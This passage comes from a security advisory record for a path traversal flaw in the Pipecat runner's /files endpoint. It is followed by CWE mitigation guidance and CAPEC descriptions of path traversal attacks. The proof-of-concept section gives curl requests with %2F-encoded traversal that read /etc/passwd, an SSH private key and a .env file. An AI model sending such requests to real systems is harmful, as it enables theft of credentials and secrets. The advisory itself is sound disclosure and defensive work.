returns True)\n```\n\nThe endpoint has no authentication \u2014 the runner does not implement any auth layer \u2014 so the request requires no credentials.\n\n---\n\n## Proof of Concept\n\n### Step 1 \u2014 Start the Pipecat runner with `--folder`\n\nThe runner requires a bot script with a `bot()` entry point. A minimal script that keeps the HTTP server alive without any transport logic:\n\n```python\n# minimal_bot.py\nasync def bot(runner_args):\n import asyncio\n await asyncio.sleep(86400)\n\nif __name__ == \"__main__\":\n from pipecat.runner.run import main\n main()\n```\n\nStart the runner:\n\n```bash\npip install \"pipecat-ai[runner,webrtc]\"\n\nmkdir /tmp/bot_media\necho \"session transcript\" \u003e /tmp/bot_media/recording.txt\n\npython minimal_bot.py \\\n -t webrtc \\\n --host 127.0.0.1 \\\n --port 7860 \\\n --folder /tmp/bot_media\n```\n\nExpected output:\n\u003cimg width=\"1626\" height=\"462\" alt=\"image\" src=\"https://github.com/user-attachments/assets/912e8ea2-cff9-4a36-a6be-e85091d9f89f\" /\u003e\n\n### Step 2 \u2014 Exploit\n\n```bash\n# Legitimate request \u2014 serves a file inside --folder\ncurl \"http://127.0.0.1:7860/files/recording.txt\"\n# \u2192 session transcript\n\n# Literal ../ \u2014 blocked by Starlette path normalisation\ncurl \"http://127.0.0.1:7860/files/../../etc/passwd\"\n# \u2192 {\"detail\":\"Not Found\"}\n\n# %2F-encoded separators \u2014 bypass normalisation, read /etc/passwd\ncurl \"http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd\"\n# \u2192 ## User Database\n# root:*:0:0:System Administrator:/var/root:/bin/sh\n# ...\n\n# Read SSH private key\ncurl \"http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa\"\n# \u2192 -----BEGIN OPENSSH PRIVATE KEY-----\n# b3BlbnNzaC1rZXktdjEAAAA...\n\n# Read application secrets\ncurl \"http://127.0.0.1:7860/files/..%2F..%2F.env\"\n```\n\n### Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29)\n\n| Request | HTTP status | Content |\n|---------|-------------|---------|\n| `GET /files/recording.txt` | 200 | Legitimate file |\n| `GET /files/../../etc/passwd` | 404 | Blocked \u2014 literal `..` normalised away |\n| `GET /files/..%2F..%2Fetc%2Fpasswd` | **200** | Full `/etc/passwd` |\n| `GET /files/..%2F..%2F..%2Fhome/\u2026/.ssh/id_rsa` | **200** | RSA private key (`BEGIN OPENSSH PRIVATE KEY`) |\n\u003cimg width=\"2222\" height=\"516\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4c7a014c-8646-479a-8439-b8e722a69e49\" /\u003e\n\u003cimg width=\"1304\" height=\"314\" alt=\"image\" src=\"https://github.com/user-attachments/assets/14f71b3f-2a35-4d2b-8049-8af758fbc6ba\" /\u003e\n\u003cimg width=\"1188\" height=\"390\" alt=\"image\" src=\"https://github.com/user-attachments/assets/53fe2b33-2cd3-4745-b9f2-7aa426318e00\" /\u003e\n\n---\n\n## Impact\n\nThe `--folder` flag is a documented, first-class feature of the runner: the `runner_downloads_folder()` helper and `-f / --folder` CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (`--host 192.168.1.100` for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.\n\nAn attacker who can reach the runner port and knows `--folder` is active can retrieve any file readable by the pipecat process:\n\n- SSH private keys and TLS certificates\n- `.env` files and application credentials\n- Database files, session tokens, API keys\n- System files such as `/etc/passwd` and `/etc/shadow` (on Linux)\n- Source code, config files, and secrets in parent directories of `--folder`\n\n---\n\n## Remediation\n\nCall `.resolve()` on both the base path and the joined path, then assert containment with `is_relative_to`:\n\n```python\n@app.get(\"/files/{filename:path}\")\nasync def download_file(filename: str):\n if not args.folder:\n logger.warning(f\"Attempting to dowload {filename}, but downloads folder not setup.\")\n return\n\n allowed_base = Path(args.folder).resolve()\n file_path = (allowed_base / filename).resolve() # resolve AFTER join\n\n if not file_path.is_relative_to(allowed_base): # containment check\n raise HTTPException(status_code=403, detail=\"Access denied\")\n if not file_path.exists():\n raise HTTPException(status_code=404)\n\n media_type, _ = mimetypes.guess_type(file_path)\n return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)\n```\n\n`Path.resolve()` expands all `..` components and follows symlinks before `is_relative_to` compares the paths, so neither `%2F`-encoded separators nor symlink chains can escape the allowed base.",
"id": "GHSA-3363-2ph6-35wh",
"modified": "2026-06-10T13:41:01Z",
"published": "2026-05-15T16:55:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pipecat-ai/pipecat/security/advisories/GHSA-3363-2ph6-35wh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44716"
},
{
"type": "WEB",
"url": "https://github.com/pipecat-ai/pipecat/pull/4417"
},
{
"type": "WEB",
"url": "https://github.com/pipecat-ai/pipecat/commit/7519c26ac5508573c35fa3a9c4717b013993d129"
},
{
"type": "PACKAGE",
"url": "https://github.com/pipecat-ai/pipecat"
},
{
"type": "WEB",
"url": "https://github.com/pipecat-ai/pipecat/releases/tag/v1.2.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Pipecat: Path Traversal in Pipecat Runner `/files` Endpoint \u2014 Arbitrary File Read via `%2F`-Encoded Separator"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.